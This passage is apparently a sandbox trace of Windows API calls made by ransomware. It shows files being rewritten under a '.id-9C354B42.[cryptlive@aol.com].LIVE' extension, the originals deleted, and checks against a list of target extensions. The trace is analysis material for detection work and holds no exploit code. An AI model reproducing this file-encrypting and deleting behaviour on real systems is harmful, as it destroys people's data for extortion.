maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0132.535] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0132.536] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0132.713] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0133.693] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.693] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0133.838] GetLastError () returned 0x0 [0133.839] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2418, lpOverlapped=0x0) returned 1 [0133.851] WriteFile (in: hFile=0x384, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2420, lpOverlapped=0x0) returned 1 [0133.852] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0133.852] WriteFile (in: hFile=0x384, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0133.852] SetEndOfFile (hFile=0x384) returned 1 [0133.852] CloseHandle (hObject=0x384) returned 1 [0133.852] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.852] SetEndOfFile (hFile=0x1fc) returned 1 [0133.947] CloseHandle (hObject=0x1fc) returned 1 [0133.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0133.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0133.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0133.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0133.979] lstrlenW (lpString=".doc") returned 4 [0133.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.979] lstrlenW (lpString=".docx") returned 5 [0133.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.979] lstrlenW (lpString=".pdf") returned 4 [0133.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.979] lstrlenW (lpString=".xls") returned 4 [0133.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.979] lstrlenW (lpString=".xlsx") returned 5 [0133.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.979] lstrlenW (lpString=".ppt") returned 4 [0133.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0133.979] lstrlenW (lpString=".zip") returned 4 [0133.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.979] lstrlenW (lpString=".rar") returned 4 [0133.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.979] lstrlenW (lpString=".bz2") returned 4 [0133.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.979] lstrlenW (lpString=".7z") returned 3 [0133.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0133.979] lstrlenW (lpString=".dbf") returned 4 [0133.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0133.979] lstrlenW (lpString=".1cd") returned 4 [0133.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0133.979] lstrlenW (lpString=".jpg") returned 4 [0133.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0133.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0133.979] lstrlenW (lpString=".doc") returned 4 [0133.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.980] lstrlenW (lpString=".docx") returned 5 [0133.980] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.980] lstrlenW (lpString=".pdf") returned 4 [0133.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.980] lstrlenW (lpString=".xls") returned 4 [0133.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.980] lstrlenW (lpString=".xlsx") returned 5 [0133.980] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.980] lstrlenW (lpString=".ppt") returned 4 [0133.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0133.980] lstrlenW (lpString=".zip") returned 4 [0133.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.980] lstrlenW (lpString=".rar") returned 4 [0133.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.980] lstrlenW (lpString=".bz2") returned 4 [0133.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.980] lstrlenW (lpString=".7z") returned 3 [0133.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0133.980] lstrlenW (lpString=".dbf") returned 4 [0133.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0133.980] lstrlenW (lpString=".1cd") returned 4 [0133.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0133.980] lstrlenW (lpString=".jpg") returned 4 [0133.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.981] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0133.981] lstrlenW (lpString="AN04134_.WMF") returned 12 [0133.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.982] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3416) returned 1 [0133.982] CloseHandle (hObject=0x2f8) returned 1 [0133.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0133.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0133.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.983] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.983] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0133.984] GetLastError () returned 0x0 [0133.984] ReadFile (in: hFile=0x2f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xd58, lpOverlapped=0x0) returned 1 [0133.985] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xd60, lpOverlapped=0x0) returned 1 [0133.986] ReadFile (in: hFile=0x2f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0133.986] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0133.986] SetEndOfFile (hFile=0x1fc) returned 1 [0133.986] CloseHandle (hObject=0x1fc) returned 1 [0133.987] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.987] SetEndOfFile (hFile=0x2f8) returned 1 [0133.989] CloseHandle (hObject=0x2f8) returned 1 [0133.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0133.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0133.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0133.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0133.990] lstrlenW (lpString=".doc") returned 4 [0133.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.990] lstrlenW (lpString=".docx") returned 5 [0133.990] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.990] lstrlenW (lpString=".pdf") returned 4 [0133.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.990] lstrlenW (lpString=".xls") returned 4 [0133.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.990] lstrlenW (lpString=".xlsx") returned 5 [0133.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.990] lstrlenW (lpString=".ppt") returned 4 [0133.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0133.990] lstrlenW (lpString=".zip") returned 4 [0133.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.990] lstrlenW (lpString=".rar") returned 4 [0133.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.990] lstrlenW (lpString=".bz2") returned 4 [0133.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.990] lstrlenW (lpString=".7z") returned 3 [0133.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0133.990] lstrlenW (lpString=".dbf") returned 4 [0133.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0133.990] lstrlenW (lpString=".1cd") returned 4 [0133.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0133.991] lstrlenW (lpString=".jpg") returned 4 [0133.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0133.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0133.991] lstrlenW (lpString=".doc") returned 4 [0133.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.991] lstrlenW (lpString=".docx") returned 5 [0133.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.991] lstrlenW (lpString=".pdf") returned 4 [0133.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.991] lstrlenW (lpString=".xls") returned 4 [0133.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.991] lstrlenW (lpString=".xlsx") returned 5 [0133.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.991] lstrlenW (lpString=".ppt") returned 4 [0133.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0133.991] lstrlenW (lpString=".zip") returned 4 [0133.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.991] lstrlenW (lpString=".rar") returned 4 [0133.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.991] lstrlenW (lpString=".bz2") returned 4 [0133.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.991] lstrlenW (lpString=".7z") returned 3 [0133.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0133.991] lstrlenW (lpString=".dbf") returned 4 [0133.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0133.991] lstrlenW (lpString=".1cd") returned 4 [0133.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0133.991] lstrlenW (lpString=".jpg") returned 4 [0133.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.992] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0133.992] lstrlenW (lpString="AN04174_.WMF") returned 12 [0133.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.993] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2636) returned 1 [0133.993] CloseHandle (hObject=0x2f8) returned 1 [0133.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0133.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0133.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.994] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.994] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0133.994] GetLastError () returned 0x0 [0133.994] ReadFile (in: hFile=0x2f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xa4c, lpOverlapped=0x0) returned 1 [0133.996] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0133.997] ReadFile (in: hFile=0x2f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0133.997] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0133.997] SetEndOfFile (hFile=0x1fc) returned 1 [0133.997] CloseHandle (hObject=0x1fc) returned 1 [0133.997] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.998] SetEndOfFile (hFile=0x2f8) returned 1 [0134.000] CloseHandle (hObject=0x2f8) returned 1 [0134.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0134.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0134.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0134.468] lstrlenW (lpString=".doc") returned 4 [0134.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.468] lstrlenW (lpString=".docx") returned 5 [0134.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.468] lstrlenW (lpString=".pdf") returned 4 [0134.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.468] lstrlenW (lpString=".xls") returned 4 [0134.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.468] lstrlenW (lpString=".xlsx") returned 5 [0134.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.468] lstrlenW (lpString=".ppt") returned 4 [0134.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0134.469] lstrlenW (lpString=".zip") returned 4 [0134.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.469] lstrlenW (lpString=".rar") returned 4 [0134.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.469] lstrlenW (lpString=".bz2") returned 4 [0134.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.469] lstrlenW (lpString=".7z") returned 3 [0134.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0134.469] lstrlenW (lpString=".dbf") returned 4 [0134.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0134.469] lstrlenW (lpString=".1cd") returned 4 [0134.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0134.469] lstrlenW (lpString=".jpg") returned 4 [0134.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0134.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0134.469] lstrlenW (lpString=".doc") returned 4 [0134.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.469] lstrlenW (lpString=".docx") returned 5 [0134.469] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.469] lstrlenW (lpString=".pdf") returned 4 [0134.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.470] lstrlenW (lpString=".xls") returned 4 [0134.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.470] lstrlenW (lpString=".xlsx") returned 5 [0134.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.470] lstrlenW (lpString=".ppt") returned 4 [0134.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0134.470] lstrlenW (lpString=".zip") returned 4 [0134.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.470] lstrlenW (lpString=".rar") returned 4 [0134.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.470] lstrlenW (lpString=".bz2") returned 4 [0134.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.470] lstrlenW (lpString=".7z") returned 3 [0134.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0134.470] lstrlenW (lpString=".dbf") returned 4 [0134.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0134.470] lstrlenW (lpString=".1cd") returned 4 [0134.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0134.470] lstrlenW (lpString=".jpg") returned 4 [0134.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.471] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.471] lstrlenW (lpString="AN04355_.WMF") returned 12 [0134.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, 